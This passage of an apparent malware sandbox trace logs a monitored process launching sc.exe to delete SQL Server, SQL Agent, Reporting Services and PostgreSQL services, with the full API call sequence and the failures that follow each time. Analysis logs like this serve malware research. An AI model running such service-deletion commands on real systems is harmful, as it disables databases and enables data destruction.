\"MSSQL$OPTIMA\"" cur_dir = "C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\" os_username = "XDUWTFONO\\5p5NrGJn0jS HALPmcxz" bitness = "32" os_groups = "XDUWTFONO\\Domain Users" [0x7], "Everyone" [0x7], "BUILTIN\\Administrators" [0xf], "BUILTIN\\Users" [0x7], "NT AUTHORITY\\INTERACTIVE" [0x7], "CONSOLE LOGON" [0x7], "NT AUTHORITY\\Authenticated Users" [0x7], "NT AUTHORITY\\This Organization" [0x7], "NT AUTHORITY\\Logon Session 00000000:0000eb41" [0xc0000007], "LOCAL" [0x7], "NT AUTHORITY\\NTLM Authentication" [0x7] Thread: id = 70 os_tid = 0x780 [0077.210] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x1af890 | out: lpSystemTimeAsFileTime=0x1af890*(dwLowDateTime=0x3773fed0, dwHighDateTime=0x1d62786)) [0077.211] GetCurrentProcessId () returned 0x408 [0077.211] GetCurrentThreadId () returned 0x780 [0077.211] GetTickCount () returned 0x1149618 [0077.211] QueryPerformanceCounter (in: lpPerformanceCount=0x1af898 | out: lpPerformanceCount=0x1af898*=19708434585) returned 1 [0077.212] GetModuleHandleW (lpModuleName=0x0) returned 0xff850000 [0077.213] __set_app_type (_Type=0x1) [0077.213] SetUnhandledExceptionFilter (lpTopLevelExceptionFilter=0xff857228) returned 0x0 [0077.213] __wgetmainargs (in: _Argc=0xff85b604, _Argv=0xff85b610, _Env=0xff85b608, _DoWildCard=0, _StartInfo=0xff85b050 | out: _Argc=0xff85b604, _Argv=0xff85b610, _Env=0xff85b608) returned 0 [0077.214] SetThreadUILanguage (LangId=0x0) returned 0x7fffffd0409 [0077.216] HeapSetInformation (HeapHandle=0x0, HeapInformationClass=0x1, HeapInformation=0x0, HeapInformationLength=0x0) returned 1 [0077.216] GetStdHandle (nStdHandle=0xfffffff5) returned 0x120 [0077.216] wcsncmp (_String1="de", _String2="\\\\", _MaxCount=0x2) returned 8 [0077.216] _wcsicmp (_String1="delete", _String2="query") returned -13 [0077.216] _wcsicmp (_String1="delete", _String2="queryex") returned -13 [0077.216] _wcsicmp (_String1="delete", _String2="start") returned -15 [0077.216] _wcsicmp (_String1="delete", _String2="pause") returned -12 [0077.216] _wcsicmp (_String1="delete", _String2="interrogate") returned -5 [0077.217] _wcsicmp (_String1="delete", _String2="control") returned 1 [0077.217] _wcsicmp (_String1="delete", _String2="continue") returned 1 [0077.217] _wcsicmp (_String1="delete", _String2="stop") returned -15 [0077.217] _wcsicmp (_String1="delete", _String2="config") returned 1 [0077.217] _wcsicmp (_String1="delete", _String2="description") returned -7 [0077.217] _wcsicmp (_String1="delete", _String2="failure") returned -2 [0077.217] _wcsicmp (_String1="delete", _String2="privs") returned -12 [0077.217] _wcsicmp (_String1="delete", _String2="failureflag") returned -2 [0077.217] _wcsicmp (_String1="delete", _String2="triggerinfo") returned -16 [0077.217] _wcsicmp (_String1="delete", _String2="sidtype") returned -15 [0077.217] _wcsicmp (_String1="delete", _String2="preferrednode") returned -12 [0077.217] _wcsicmp (_String1="delete", _String2="qc") returned -13 [0077.217] _wcsicmp (_String1="delete", _String2="qdescription") returned -13 [0077.217] _wcsicmp (_String1="delete", _String2="qfailure") returned -13 [0077.217] _wcsicmp (_String1="delete", _String2="qprivs") returned -13 [0077.217] _wcsicmp (_String1="delete", _String2="qfailureflag") returned -13 [0077.217] _wcsicmp (_String1="delete", _String2="qtriggerinfo") returned -13 [0077.217] _wcsicmp (_String1="delete", _String2="qsidtype") returned -13 [0077.217] _wcsicmp (_String1="delete", _String2="showsid") returned -15 [0077.217] _wcsicmp (_String1="delete", _String2="qpreferrednode") returned -13 [0077.217] _wcsicmp (_String1="delete", _String2="querylock") returned -13 [0077.217] _wcsicmp (_String1="delete", _String2="lock") returned -8 [0077.217] _wcsicmp (_String1="delete", _String2="delete") returned 0 [0077.217] OpenSCManagerW (lpMachineName=0x0, lpDatabaseName=0x0, dwDesiredAccess=0x1) returned 0x2543d0 [0077.221] OpenServiceW (hSCManager=0x2543d0, lpServiceName="MSSQL$OPTIMA", dwDesiredAccess=0x10000) returned 0x0 [0077.222] GetLastError () returned 0x424 [0077.222] _itow (in: _Dest=0x424, _Radix=1767160 | out: _Dest=0x424) returned="1060" [0077.222] FormatMessageW (in: dwFlags=0x1200, lpSource=0x0, dwMessageId=0x424, dwLanguageId=0x0, lpBuffer=0xff85b740, nSize=0x400, Arguments=0x0 | out: lpBuffer="The specified service does not exist as an installed service.\r\n") returned 0x3f [0077.224] FormatMessageW (in: dwFlags=0x2900, lpSource=0x0, dwMessageId=0x65, dwLanguageId=0x0, lpBuffer=0x1af6b0, nSize=0x2, Arguments=0x1af6e0 | out: lpBuffer="趰%") returned 0x62 [0077.225] GetFileType (hFile=0x120) returned 0x3 [0077.225] LocalAlloc (uFlags=0x0, uBytes=0xc4) returned 0x258e90 [0077.225] WideCharToMultiByte (in: CodePage=0x1, dwFlags=0x0, lpWideCharStr="[SC] OpenService FAILED 1060:\r\n\r\nThe specified service does not exist as an installed service.\r\n\r\n", cchWideChar=98, lpMultiByteStr=0x258e90, cbMultiByte=196, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="[SC] OpenService FAILED 1060:\r\n\r\nThe specified service does not exist as an installed service.\r\n\r\n%", lpUsedDefaultChar=0x0) returned 98 [0077.225] WriteFile (in: hFile=0x120, lpBuffer=0x258e90*, nNumberOfBytesToWrite=0x62, lpNumberOfBytesWritten=0x1af658, lpOverlapped=0x0 | out: lpBuffer=0x258e90*, lpNumberOfBytesWritten=0x1af658*=0x62, lpOverlapped=0x0) returned 1 [0077.225] LocalFree (hMem=0x258e90) returned 0x0 [0077.225] LocalFree (hMem=0x258db0) returned 0x0 [0077.225] LocalFree (hMem=0x0) returned 0x0 [0077.225] CloseServiceHandle (hSCObject=0x2543d0) returned 1 [0077.227] exit (_Code=1060) Thread: id = 71 os_tid = 0x81c Process: id = "36" image_name = "sc.exe" filename = "c:\\windows\\system32\\sc.exe" page_root = "0x45fb3000" os_pid = "0x83c" os_integrity_level = "0x3000" os_privileges = "0x60800000" monitor_reason = "child_process" parent_id = "3" os_parent_pid = "0x7d0" cmd_line = "sc delete \"SQLAgent$OPTIMA\"" cur_dir = "C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\" os_username = "XDUWTFONO\\5p5NrGJn0jS HALPmcxz" bitness = "32" os_groups = "XDUWTFONO\\Domain Users" [0x7], "Everyone" [0x7], "BUILTIN\\Administrators" [0xf], "BUILTIN\\Users" [0x7], "NT AUTHORITY\\INTERACTIVE" [0x7], "CONSOLE LOGON" [0x7], "NT AUTHORITY\\Authenticated Users" [0x7], "NT AUTHORITY\\This Organization" [0x7], "NT AUTHORITY\\Logon Session 00000000:0000eb41" [0xc0000007], "LOCAL" [0x7], "NT AUTHORITY\\NTLM Authentication" [0x7] Thread: id = 72 os_tid = 0x82c [0077.283] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0xcfb90 | out: lpSystemTimeAsFileTime=0xcfb90*(dwLowDateTime=0x377d8450, dwHighDateTime=0x1d62786)) [0077.283] GetCurrentProcessId () returned 0x83c [0077.283] GetCurrentThreadId () returned 0x82c [0077.283] GetTickCount () returned 0x1149657 [0077.283] QueryPerformanceCounter (in: lpPerformanceCount=0xcfb98 | out: lpPerformanceCount=0xcfb98*=19715644656) returned 1 [0077.284] GetModuleHandleW (lpModuleName=0x0) returned 0xffec0000 [0077.284] __set_app_type (_Type=0x1) [0077.284] SetUnhandledExceptionFilter (lpTopLevelExceptionFilter=0xffec7228) returned 0x0 [0077.284] __wgetmainargs (in: _Argc=0xffecb604, _Argv=0xffecb610, _Env=0xffecb608, _DoWildCard=0, _StartInfo=0xffecb050 | out: _Argc=0xffecb604, _Argv=0xffecb610, _Env=0xffecb608) returned 0 [0077.285] SetThreadUILanguage (LangId=0x0) returned 0x7fffffd0409 [0077.287] HeapSetInformation (HeapHandle=0x0, HeapInformationClass=0x1, HeapInformation=0x0, HeapInformationLength=0x0) returned 1 [0077.287] GetStdHandle (nStdHandle=0xfffffff5) returned 0x120 [0077.287] wcsncmp (_String1="de", _String2="\\\\", _MaxCount=0x2) returned 8 [0077.287] _wcsicmp (_String1="delete", _String2="query") returned -13 [0077.287] _wcsicmp (_String1="delete", _String2="queryex") returned -13 [0077.287] _wcsicmp (_String1="delete", _String2="start") returned -15 [0077.288] _wcsicmp (_String1="delete", _String2="pause") returned -12 [0077.288] _wcsicmp (_String1="delete", _String2="interrogate") returned -5 [0077.288] _wcsicmp (_String1="delete", _String2="control") returned 1 [0077.288] _wcsicmp (_String1="delete", _String2="continue") returned 1 [0077.288] _wcsicmp (_String1="delete", _String2="stop") returned -15 [0077.288] _wcsicmp (_String1="delete", _String2="config") returned 1 [0077.288] _wcsicmp (_String1="delete", _String2="description") returned -7 [0077.288] _wcsicmp (_String1="delete", _String2="failure") returned -2 [0077.288] _wcsicmp (_String1="delete", _String2="privs") returned -12 [0077.288] _wcsicmp (_String1="delete", _String2="failureflag") returned -2 [0077.288] _wcsicmp (_String1="delete", _String2="triggerinfo") returned -16 [0077.288] _wcsicmp (_String1="delete", _String2="sidtype") returned -15 [0077.288] _wcsicmp (_String1="delete", _String2="preferrednode") returned -12 [0077.288] _wcsicmp (_String1="delete", _String2="qc") returned -13 [0077.288] _wcsicmp (_String1="delete", _String2="qdescription") returned -13 [0077.288] _wcsicmp (_String1="delete", _String2="qfailure") returned -13 [0077.288] _wcsicmp (_String1="delete", _String2="qprivs") returned -13 [0077.288] _wcsicmp (_String1="delete", _String2="qfailureflag") returned -13 [0077.288] _wcsicmp (_String1="delete", _String2="qtriggerinfo") returned -13 [0077.288] _wcsicmp (_String1="delete", _String2="qsidtype") returned -13 [0077.289] _wcsicmp (_String1="delete", _String2="showsid") returned -15 [0077.289] _wcsicmp (_String1="delete", _String2="qpreferrednode") returned -13 [0077.289] _wcsicmp (_String1="delete", _String2="querylock") returned -13 [0077.289] _wcsicmp (_String1="delete", _String2="lock") returned -8 [0077.289] _wcsicmp (_String1="delete", _String2="delete") returned 0 [0077.289] OpenSCManagerW (lpMachineName=0x0, lpDatabaseName=0x0, dwDesiredAccess=0x1) returned 0xe43e0 [0077.292] OpenServiceW (hSCManager=0xe43e0, lpServiceName="SQLAgent$OPTIMA", dwDesiredAccess=0x10000) returned 0x0 [0077.292] GetLastError () returned 0x424 [0077.292] _itow (in: _Dest=0x424, _Radix=850424 | out: _Dest=0x424) returned="1060" [0077.292] FormatMessageW (in: dwFlags=0x1200, lpSource=0x0, dwMessageId=0x424, dwLanguageId=0x0, lpBuffer=0xffecb740, nSize=0x400, Arguments=0x0 | out: lpBuffer="The specified service does not exist as an installed service.\r\n") returned 0x3f [0077.294] FormatMessageW (in: dwFlags=0x2900, lpSource=0x0, dwMessageId=0x65, dwLanguageId=0x0, lpBuffer=0xcf9b0, nSize=0x2, Arguments=0xcf9e0 | out: lpBuffer="跀\x0e") returned 0x62 [0077.294] GetFileType (hFile=0x120) returned 0x3 [0077.294] LocalAlloc (uFlags=0x0, uBytes=0xc4) returned 0xe8ea0 [0077.294] WideCharToMultiByte (in: CodePage=0x1, dwFlags=0x0, lpWideCharStr="[SC] OpenService FAILED 1060:\r\n\r\nThe specified service does not exist as an installed service.\r\n\r\n", cchWideChar=98, lpMultiByteStr=0xe8ea0, cbMultiByte=196, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="[SC] OpenService FAILED 1060:\r\n\r\nThe specified service does not exist as an installed service.\r\n\r\n\x0e", lpUsedDefaultChar=0x0) returned 98 [0077.294] WriteFile (in: hFile=0x120, lpBuffer=0xe8ea0*, nNumberOfBytesToWrite=0x62, lpNumberOfBytesWritten=0xcf958, lpOverlapped=0x0 | out: lpBuffer=0xe8ea0*, lpNumberOfBytesWritten=0xcf958*=0x62, lpOverlapped=0x0) returned 1 [0077.294] LocalFree (hMem=0xe8ea0) returned 0x0 [0077.294] LocalFree (hMem=0xe8dc0) returned 0x0 [0077.294] LocalFree (hMem=0x0) returned 0x0 [0077.295] CloseServiceHandle (hSCObject=0xe43e0) returned 1 [0077.296] exit (_Code=1060) Thread: id = 73 os_tid = 0x85c Process: id = "37" image_name = "sc.exe" filename = "c:\\windows\\system32\\sc.exe" page_root = "0x45bb8000" os_pid = "0x86c" os_integrity_level = "0x3000" os_privileges = "0x60800000" monitor_reason = "child_process" parent_id = "3" os_parent_pid = "0x7d0" cmd_line = "sc delete \"ReportServer$OPTIMA\"" cur_dir = "C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\" os_username = "XDUWTFONO\\5p5NrGJn0jS HALPmcxz" bitness = "32" os_groups = "XDUWTFONO\\Domain Users" [0x7], "Everyone" [0x7], "BUILTIN\\Administrators" [0xf], "BUILTIN\\Users" [0x7], "NT AUTHORITY\\INTERACTIVE" [0x7], "CONSOLE LOGON" [0x7], "NT AUTHORITY\\Authenticated Users" [0x7], "NT AUTHORITY\\This Organization" [0x7], "NT AUTHORITY\\Logon Session 00000000:0000eb41" [0xc0000007], "LOCAL" [0x7], "NT AUTHORITY\\NTLM Authentication" [0x7] Thread: id = 74 os_tid = 0x88c [0077.346] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x1afa90 | out: lpSystemTimeAsFileTime=0x1afa90*(dwLowDateTime=0x378709d0, dwHighDateTime=0x1d62786)) [0077.346] GetCurrentProcessId () returned 0x86c [0077.346] GetCurrentThreadId () returned 0x88c [0077.346] GetTickCount () returned 0x1149695 [0077.346] QueryPerformanceCounter (in: lpPerformanceCount=0x1afa98 | out: lpPerformanceCount=0x1afa98*=19721952583) returned 1 [0077.347] GetModuleHandleW (lpModuleName=0x0) returned 0xffe30000 [0077.347] __set_app_type (_Type=0x1) [0077.347] SetUnhandledExceptionFilter (lpTopLevelExceptionFilter=0xffe37228) returned 0x0 [0077.348] __wgetmainargs (in: _Argc=0xffe3b604, _Argv=0xffe3b610, _Env=0xffe3b608, _DoWildCard=0, _StartInfo=0xffe3b050 | out: _Argc=0xffe3b604, _Argv=0xffe3b610, _Env=0xffe3b608) returned 0 [0077.349] SetThreadUILanguage (LangId=0x0) returned 0x7fffffd0409 [0077.351] HeapSetInformation (HeapHandle=0x0, HeapInformationClass=0x1, HeapInformation=0x0, HeapInformationLength=0x0) returned 1 [0077.351] GetStdHandle (nStdHandle=0xfffffff5) returned 0x120 [0077.351] wcsncmp (_String1="de", _String2="\\\\", _MaxCount=0x2) returned 8 [0077.351] _wcsicmp (_String1="delete", _String2="query") returned -13 [0077.351] _wcsicmp (_String1="delete", _String2="queryex") returned -13 [0077.351] _wcsicmp (_String1="delete", _String2="start") returned -15 [0077.351] _wcsicmp (_String1="delete", _String2="pause") returned -12 [0077.351] _wcsicmp (_String1="delete", _String2="interrogate") returned -5 [0077.351] _wcsicmp (_String1="delete", _String2="control") returned 1 [0077.351] _wcsicmp (_String1="delete", _String2="continue") returned 1 [0077.352] _wcsicmp (_String1="delete", _String2="stop") returned -15 [0077.352] _wcsicmp (_String1="delete", _String2="config") returned 1 [0077.352] _wcsicmp (_String1="delete", _String2="description") returned -7 [0077.352] _wcsicmp (_String1="delete", _String2="failure") returned -2 [0077.352] _wcsicmp (_String1="delete", _String2="privs") returned -12 [0077.352] _wcsicmp (_String1="delete", _String2="failureflag") returned -2 [0077.352] _wcsicmp (_String1="delete", _String2="triggerinfo") returned -16 [0077.352] _wcsicmp (_String1="delete", _String2="sidtype") returned -15 [0077.352] _wcsicmp (_String1="delete", _String2="preferrednode") returned -12 [0077.352] _wcsicmp (_String1="delete", _String2="qc") returned -13 [0077.352] _wcsicmp (_String1="delete", _String2="qdescription") returned -13 [0077.352] _wcsicmp (_String1="delete", _String2="qfailure") returned -13 [0077.352] _wcsicmp (_String1="delete", _String2="qprivs") returned -13 [0077.352] _wcsicmp (_String1="delete", _String2="qfailureflag") returned -13 [0077.352] _wcsicmp (_String1="delete", _String2="qtriggerinfo") returned -13 [0077.352] _wcsicmp (_String1="delete", _String2="qsidtype") returned -13 [0077.352] _wcsicmp (_String1="delete", _String2="showsid") returned -15 [0077.352] _wcsicmp (_String1="delete", _String2="qpreferrednode") returned -13 [0077.352] _wcsicmp (_String1="delete", _String2="querylock") returned -13 [0077.352] _wcsicmp (_String1="delete", _String2="lock") returned -8 [0077.352] _wcsicmp (_String1="delete", _String2="delete") returned 0 [0077.352] OpenSCManagerW (lpMachineName=0x0, lpDatabaseName=0x0, dwDesiredAccess=0x1) returned 0x2043f0 [0077.356] OpenServiceW (hSCManager=0x2043f0, lpServiceName="ReportServer$OPTIMA", dwDesiredAccess=0x10000) returned 0x0 [0077.357] GetLastError () returned 0x424 [0077.357] _itow (in: _Dest=0x424, _Radix=1767672 | out: _Dest=0x424) returned="1060" [0077.357] FormatMessageW (in: dwFlags=0x1200, lpSource=0x0, dwMessageId=0x424, dwLanguageId=0x0, lpBuffer=0xffe3b740, nSize=0x400, Arguments=0x0 | out: lpBuffer="The specified service does not exist as an installed service.\r\n") returned 0x3f [0077.359] FormatMessageW (in: dwFlags=0x2900, lpSource=0x0, dwMessageId=0x65, dwLanguageId=0x0, lpBuffer=0x1af8b0, nSize=0x2, Arguments=0x1af8e0 | out: lpBuffer="跐 ") returned 0x62 [0077.359] GetFileType (hFile=0x120) returned 0x3 [0077.359] LocalAlloc (uFlags=0x0, uBytes=0xc4) returned 0x208eb0 [0077.359] WideCharToMultiByte (in: CodePage=0x1, dwFlags=0x0, lpWideCharStr="[SC] OpenService FAILED 1060:\r\n\r\nThe specified service does not exist as an installed service.\r\n\r\n", cchWideChar=98, lpMultiByteStr=0x208eb0, cbMultiByte=196, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="[SC] OpenService FAILED 1060:\r\n\r\nThe specified service does not exist as an installed service.\r\n\r\n ", lpUsedDefaultChar=0x0) returned 98 [0077.359] WriteFile (in: hFile=0x120, lpBuffer=0x208eb0*, nNumberOfBytesToWrite=0x62, lpNumberOfBytesWritten=0x1af858, lpOverlapped=0x0 | out: lpBuffer=0x208eb0*, lpNumberOfBytesWritten=0x1af858*=0x62, lpOverlapped=0x0) returned 1 [0077.359] LocalFree (hMem=0x208eb0) returned 0x0 [0077.359] LocalFree (hMem=0x208dd0) returned 0x0 [0077.359] LocalFree (hMem=0x0) returned 0x0 [0077.360] CloseServiceHandle (hSCObject=0x2043f0) returned 1 [0077.361] exit (_Code=1060) Thread: id = 75 os_tid = 0x89c Process: id = "38" image_name = "sc.exe" filename = "c:\\windows\\system32\\sc.exe" page_root = "0x466bd000" os_pid = "0x8bc" os_integrity_level = "0x3000" os_privileges = "0x60800000" monitor_reason = "child_process" parent_id = "3" os_parent_pid = "0x7d0" cmd_line = "sc delete \"msftesql$SQLEXPRESS\"" cur_dir = "C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\" os_username = "XDUWTFONO\\5p5NrGJn0jS HALPmcxz" bitness = "32" os_groups = "XDUWTFONO\\Domain Users" [0x7], "Everyone" [0x7], "BUILTIN\\Administrators" [0xf], "BUILTIN\\Users" [0x7], "NT AUTHORITY\\INTERACTIVE" [0x7], "CONSOLE LOGON" [0x7], "NT AUTHORITY\\Authenticated Users" [0x7], "NT AUTHORITY\\This Organization" [0x7], "NT AUTHORITY\\Logon Session 00000000:0000eb41" [0xc0000007], "LOCAL" [0x7], "NT AUTHORITY\\NTLM Authentication" [0x7] Thread: id = 76 os_tid = 0x8cc [0077.408] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x16fbf0 | out: lpSystemTimeAsFileTime=0x16fbf0*(dwLowDateTime=0x37908f50, dwHighDateTime=0x1d62786)) [0077.408] GetCurrentProcessId () returned 0x8bc [0077.408] GetCurrentThreadId () returned 0x8cc [0077.408] GetTickCount () returned 0x11496d4 [0077.408] QueryPerformanceCounter (in: lpPerformanceCount=0x16fbf8 | out: lpPerformanceCount=0x16fbf8*=19728211801) returned 1 [0077.410] GetModuleHandleW (lpModuleName=0x0) returned 0xffdd0000 [0077.411] __set_app_type (_Type=0x1) [0077.411] SetUnhandledExceptionFilter (lpTopLevelExceptionFilter=0xffdd7228) returned 0x0 [0077.411] __wgetmainargs (in: _Argc=0xffddb604, _Argv=0xffddb610, _Env=0xffddb608, _DoWildCard=0, _StartInfo=0xffddb050 | out: _Argc=0xffddb604, _Argv=0xffddb610, _Env=0xffddb608) returned 0 [0077.411] SetThreadUILanguage (LangId=0x0) returned 0x7fffffd0409 [0077.413] HeapSetInformation (HeapHandle=0x0, HeapInformationClass=0x1, HeapInformation=0x0, HeapInformationLength=0x0) returned 1 [0077.413] GetStdHandle (nStdHandle=0xfffffff5) returned 0x120 [0077.414] wcsncmp (_String1="de", _String2="\\\\", _MaxCount=0x2) returned 8 [0077.414] _wcsicmp (_String1="delete", _String2="query") returned -13 [0077.414] _wcsicmp (_String1="delete", _String2="queryex") returned -13 [0077.414] _wcsicmp (_String1="delete", _String2="start") returned -15 [0077.414] _wcsicmp (_String1="delete", _String2="pause") returned -12 [0077.414] _wcsicmp (_String1="delete", _String2="interrogate") returned -5 [0077.414] _wcsicmp (_String1="delete", _String2="control") returned 1 [0077.414] _wcsicmp (_String1="delete", _String2="continue") returned 1 [0077.414] _wcsicmp (_String1="delete", _String2="stop") returned -15 [0077.414] _wcsicmp (_String1="delete", _String2="config") returned 1 [0077.414] _wcsicmp (_String1="delete", _String2="description") returned -7 [0077.414] _wcsicmp (_String1="delete", _String2="failure") returned -2 [0077.414] _wcsicmp (_String1="delete", _String2="privs") returned -12 [0077.414] _wcsicmp (_String1="delete", _String2="failureflag") returned -2 [0077.414] _wcsicmp (_String1="delete", _String2="triggerinfo") returned -16 [0077.414] _wcsicmp (_String1="delete", _String2="sidtype") returned -15 [0077.414] _wcsicmp (_String1="delete", _String2="preferrednode") returned -12 [0077.414] _wcsicmp (_String1="delete", _String2="qc") returned -13 [0077.414] _wcsicmp (_String1="delete", _String2="qdescription") returned -13 [0077.414] _wcsicmp (_String1="delete", _String2="qfailure") returned -13 [0077.414] _wcsicmp (_String1="delete", _String2="qprivs") returned -13 [0077.414] _wcsicmp (_String1="delete", _String2="qfailureflag") returned -13 [0077.414] _wcsicmp (_String1="delete", _String2="qtriggerinfo") returned -13 [0077.414] _wcsicmp (_String1="delete", _String2="qsidtype") returned -13 [0077.414] _wcsicmp (_String1="delete", _String2="showsid") returned -15 [0077.414] _wcsicmp (_String1="delete", _String2="qpreferrednode") returned -13 [0077.414] _wcsicmp (_String1="delete", _String2="querylock") returned -13 [0077.414] _wcsicmp (_String1="delete", _String2="lock") returned -8 [0077.414] _wcsicmp (_String1="delete", _String2="delete") returned 0 [0077.415] OpenSCManagerW (lpMachineName=0x0, lpDatabaseName=0x0, dwDesiredAccess=0x1) returned 0x3443f0 [0077.418] OpenServiceW (hSCManager=0x3443f0, lpServiceName="msftesql$SQLEXPRESS", dwDesiredAccess=0x10000) returned 0x0 [0077.418] GetLastError () returned 0x424 [0077.419] _itow (in: _Dest=0x424, _Radix=1505880 | out: _Dest=0x424) returned="1060" [0077.419] FormatMessageW (in: dwFlags=0x1200, lpSource=0x0, dwMessageId=0x424, dwLanguageId=0x0, lpBuffer=0xffddb740, nSize=0x400, Arguments=0x0 | out: lpBuffer="The specified service does not exist as an installed service.\r\n") returned 0x3f [0077.420] FormatMessageW (in: dwFlags=0x2900, lpSource=0x0, dwMessageId=0x65, dwLanguageId=0x0, lpBuffer=0x16fa10, nSize=0x2, Arguments=0x16fa40 | out: lpBuffer="跐4") returned 0x62 [0077.421] GetFileType (hFile=0x120) returned 0x3 [0077.421] LocalAlloc (uFlags=0x0, uBytes=0xc4) returned 0x348eb0 [0077.421] WideCharToMultiByte (in: CodePage=0x1, dwFlags=0x0, lpWideCharStr="[SC] OpenService FAILED 1060:\r\n\r\nThe specified service does not exist as an installed service.\r\n\r\n", cchWideChar=98, lpMultiByteStr=0x348eb0, cbMultiByte=196, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="[SC] OpenService FAILED 1060:\r\n\r\nThe specified service does not exist as an installed service.\r\n\r\n4", lpUsedDefaultChar=0x0) returned 98 [0077.421] WriteFile (in: hFile=0x120, lpBuffer=0x348eb0*, nNumberOfBytesToWrite=0x62, lpNumberOfBytesWritten=0x16f9b8, lpOverlapped=0x0 | out: lpBuffer=0x348eb0*, lpNumberOfBytesWritten=0x16f9b8*=0x62, lpOverlapped=0x0) returned 1 [0077.421] LocalFree (hMem=0x348eb0) returned 0x0 [0077.421] LocalFree (hMem=0x348dd0) returned 0x0 [0077.421] LocalFree (hMem=0x0) returned 0x0 [0077.421] CloseServiceHandle (hSCObject=0x3443f0) returned 1 [0077.423] exit (_Code=1060) Thread: id = 77 os_tid = 0x8fc Process: id = "39" image_name = "sc.exe" filename = "c:\\windows\\system32\\sc.exe" page_root = "0x46ac2000" os_pid = "0x90c" os_integrity_level = "0x3000" os_privileges = "0x60800000" monitor_reason = "child_process" parent_id = "3" os_parent_pid = "0x7d0" cmd_line = "sc delete \"postgresql-x64-9.4\"" cur_dir = "C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\" os_username = "XDUWTFONO\\5p5NrGJn0jS HALPmcxz" bitness = "32" os_groups = "XDUWTFONO\\Domain Users" [0x7], "Everyone" [0x7], "BUILTIN\\Administrators" [0xf], "BUILTIN\\Users" [0x7], "NT AUTHORITY\\INTERACTIVE" [0x7], "CONSOLE LOGON" [0x7], "NT AUTHORITY\\Authenticated Users" [0x7], "NT AUTHORITY\\This Organization" [0x7], "NT AUTHORITY\\Logon Session 00000000:0000eb41" [0xc0000007], "LOCAL" [0x7], "NT AUTHORITY\\NTLM Authentication" [0x7] Thread: id = 78 os_tid = 0x934 [0077.535] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x18f7d0 | out: lpSystemTimeAsFileTime=0x18f7d0*(dwLowDateTime=0x37a5fbb0, dwHighDateTime=0x1d62786)) [0077.535] GetCurrentProcessId () returned 0x90c [0077.535] GetCurrentThreadId () returned 0x934 [0077.535] GetTickCount () returned 0x1149760 [0077.535] QueryPerformanceCounter (in: lpPerformanceCount=0x18f7d8 | out: lpPerformanceCount=0x18f7d8*=19740908898) returned 1 [0077.537] GetModuleHandleW (lpModuleName=0x0) returned 0xff360000 [0077.537] __set_app_type (_Type=0x1) [0077.537] SetUnhandledExceptionFilter (lpTopLevelExceptionFilter=0xff367228) returned 0x0 [0077.537] __wgetmainargs (in: _Argc=0xff36b604, _Argv=0xff36b610, _Env=0xff36b608, _DoWildCard=0, _StartInfo=0xff36b050 | out: _Argc=0xff36b604, _Argv=0xff36b610, _Env=0xff36b608) returned 0 [0077.537] SetThreadUILanguage (LangId=0x0) returned 0x7fffffd0409 [0077.539] HeapSetInformation (HeapHandle=0x0, HeapInformationClass=0x1, HeapInformation=0x0, HeapInformationLength=0x0) returned 1 [0077.539] GetStdHandle (nStdHandle=0xfffffff5) returned 0x120 [0077.539] wcsncmp (_String1="de", _String2="\\\\", _MaxCount=0x2) returned 8 [0077.542] _wcsicmp (_String1="delete", _String2="query") returned -13 [0077.542] _wcsicmp (_String1="delete", _String2="queryex") returned -13 [0077.542] _wcsicmp (_String1="delete", _String2="start") returned -15 [0077.542] _wcsicmp (_String1="delete", _String2="pause") returned -12 [0077.542] _wcsicmp (_String1="delete", _String2="interrogate") returned -5 [0077.542] _wcsicmp (_String1="delete", _String2="control") returned 1 [0077.542] _wcsicmp (_String1="delete", _String2="continue") returned 1 [0077.542] _wcsicmp (_String1="delete", _String2="stop") returned -15 [0077.542] _wcsicmp (_String1="delete", _String2="config") returned 1 [0077.542] _wcsicmp (_String1="delete", _String2="description") returned -7 [0077.542] _wcsicmp (_String1="delete", _String2="failure") returned -2 [0077.542] _wcsicmp (_String1="delete", _String2="privs") returned -12 [0077.542] _wcsicmp (_String1="delete", _String2="failureflag") returned -2 [0077.542] _wcsicmp (_String1="delete", _String2="triggerinfo") returned -16 [0077.542] _wcsicmp (_String1="delete", _String2="sidtype") returned -15 [0077.543] _wcsicmp (_String1="delete", _String2="preferrednode") returned -12 [0077.543] _wcsicmp (_String1="delete", _String2="qc") returned -13 [0077.543] _wcsicmp (_String1="delete", _String2="qdescription") returned -13 [0077.543] _wcsicmp (_String1="delete", _String2="qfailure") returned -13 [0077.543] _wcsicmp (_String1="delete", _String2="qprivs") returned -13 [0077.543] _wcsicmp (_String1="delete", _String2="qfailureflag") returned -13 [0077.543] _wcsicmp (_String1="delete", _String2="qtriggerinfo") returned -13 [0077.543] _wcsicmp (_String1="delete", _String2="qsidtype") returned -13 [0077.543] _wcsicmp (_String1="delete", _String2="showsid") returned -15 [0077.543] _wcsicmp (_String1="delete", _String2="qpreferrednode") returned -13 [0077.543] _wcsicmp (_String1="delete", _String2="querylock") returned -13 [0077.543] _wcsicmp (_String1="delete", _String2="lock") returned -8 [0077.543] _wcsicmp (_String1="delete", _String2="delete") returned 0 [0077.543] OpenSCManagerW (lpMachineName=0x0, lpDatabaseName=0x0, dwDesiredAccess=0x1) returned 0x1b43e0 [0077.547] OpenServiceW (hSCManager=0x1b43e0, lpServiceName="postgresql-x64-9.4", dwDesiredAccess=0x10000) returned 0x0 [0077.547] GetLastError () returned 0x424 [0077.547] _itow (in: _Dest=0x424, _Radix=1635896 | out: _Dest=0x424) returned="1060" [0077.547] FormatMessageW (in: dwFlags=0x1200, lpSource=0x0, dwMessageId=0x424, dwLanguageId=0x0, lpBuffer=0xff36b740, nSize=0x400, Arguments=0x0 | out: lpBuffer="The specified service does not exist as an installed service.\r\n") returned 0x3f 